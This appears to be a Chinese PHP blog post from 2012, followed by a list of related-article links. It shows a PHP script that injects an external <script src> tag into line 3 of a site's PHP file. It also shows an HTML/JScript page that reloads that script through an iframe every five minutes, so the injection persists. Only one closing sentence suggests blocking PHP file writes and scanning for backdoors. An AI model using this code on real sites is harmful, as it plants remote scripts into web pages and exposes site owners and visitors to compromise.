php在文件指定行中写入代码的方法


Posted in PHP onMay 23, 2012
<?php 
$file="aa.php" ; 
$code="<script src=http://www.google/ga.js></script>"; 
$f=fopen($file,"r+"); 
$content=fread($f,filesize($file)); 
fclose($f); 
if(!strstr($content,$code)){ 
$arrInsert = insertContent($file, $code, 3); 
unlink($file); 
foreach($arrInsert as $value) 
{ 
file_put_contents($file, $value, FILE_APPEND); 
} 
} 
function insertContent($source, $s, $iLine) { 
$file_handle = fopen($source, "r"); 
$i = 0; 
$arr = array(); 
while (!feof($file_handle)) { 
$line = fgets($file_handle); 
++$i; 
if ($i == $iLine) { 
$arr[] = $line .$s . "\n"; 
}else { 
$arr[] = $line; 
} 
} 
fclose($file_handle); 
return $arr; 
} 
?>

这个文件保存成php后,再用一个小程序隔几分钟指定执行它就可以。像operia浏览器就有这个功能。不过我又加了个html代码来运行它,可以用ie了,打开这个html后扔在哪就可以。
<HTML> 
<HEAD> 
</HEAD> 
<BODY> 
<SCRIPT LANGUAGE="JScript"> 
function singOut() { 
var O = document.createElement("iframe"); 
O.src="http://www.google.com/上边的php文件.php"; 
O.width=100; 
O.height=100; 
document.body.appendChild(O); 
} 
window.setInterval("singOut();",300000); 
</SCRIPT> 
</BODY> 
</HTML>

解决方法:这些代码都会在php中写入代码,我们可以写个规则禁止修改php文件.即可,一般服务器中才可以了,如果是虚拟主机的朋友就需要下载代码,经常查后门来解决了
PHP 相关文章推荐
php入门小知识
Mar 24 PHP
PHP 时间转换Unix时间戳代码
Jan 22 PHP
php5.3中连接sqlserver2000的两种方法(com与ODBC)
Dec 29 PHP
PHP调用MsSQL Server 2012存储过程获取多结果集(包含output参数)的详解
Jul 03 PHP
浅析PHP Socket技术
Aug 02 PHP
PHP的PSR规范中文版
Sep 28 PHP
php+js实现异步图片上传实例分享
Jun 02 PHP
php实现的支持imagemagick及gd库两种处理的缩略图生成类
Sep 23 PHP
在WordPress中使用wp_count_posts函数来统计文章数量
Jan 05 PHP
实例分析PHP中PHPMailer发邮件
Dec 13 PHP
PHP设计模式概论【概念、分类、原则等】
May 01 PHP
深入理解PHP+Mysql分布式事务与解决方案
Dec 03 PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
有关PHP中MVC的开发经验分享
May 17 #PHP
php的array_multisort()使用方法介绍
May 16 #PHP
一个显示某段时间内每个月的方法 返回由这些月份组成的数组
May 16 #PHP
You might like
开启PHP的伪静态模式
2015/12/31 PHP
php添加数据到xml文件的简单例子
2016/09/08 PHP
php实现登陆模块功能示例
2016/10/20 PHP
php中关于换行的实例写法
2019/09/26 PHP
用js实现键盘方向键翻页功能的代码
2007/06/03 Javascript
JavaScript 在线压缩和格式化收藏
2009/01/16 Javascript
html+js实现动态显示本地时间
2013/09/21 Javascript
简单总结JavaScript中的String字符串类型
2016/05/26 Javascript
BootStrap智能表单实战系列(九)表单图片上传的支持
2016/06/13 Javascript
JS正则表达式完美实现身份证校验功能
2017/10/18 Javascript
JavaScript常用数学函数用法示例
2018/05/14 Javascript
JavaScript数组,JSON对象实现动态添加、修改、删除功能示例
2018/05/26 Javascript
vue-cli 脚手架基于Nightwatch的端到端测试环境的过程
2018/09/30 Javascript
webpack之引入图片的实现及问题
2018/10/08 Javascript
JavaScript代码调试方法实例小结
2019/01/05 Javascript
vue+element表格导出为Excel文件
2019/09/26 Javascript
js验证密码强度解析
2020/03/18 Javascript
vue实现折线图 可按时间查询
2020/08/21 Javascript
探寻python多线程ctrl+c退出问题解决方案
2014/10/23 Python
在Python的Django框架的视图中使用Session的方法
2015/07/23 Python
QML使用Python的函数过程解析
2019/09/26 Python
Python列表list常用内建函数实例小结
2019/10/22 Python
Python networkx包的实现
2020/02/14 Python
Python实现队列的方法示例小结【数组,链表】
2020/02/22 Python
python统计字符串中字母出现次数代码实例
2020/03/02 Python
Python OpenCV实现测量图片物体宽度
2020/05/27 Python
keras 两种训练模型方式详解fit和fit_generator(节省内存)
2020/07/03 Python
scrapy在python爬虫中搭建出错的解决方法
2020/11/22 Python
详解如何用HTML5 Canvas API控制图片的缩放变换
2016/03/22 HTML / CSS
设计师大码女装:11 Honoré
2020/05/03 全球购物
标准毕业生自荐信范文
2013/11/04 职场文书
岗位职责定义及内容
2013/11/08 职场文书
课外科技活动总结
2014/08/27 职场文书
2015年乡镇卫生院妇幼保健工作总结
2015/05/19 职场文书
拖欠货款起诉状
2015/05/20 职场文书
有关花店创业的计划书模板
2019/08/27 职场文书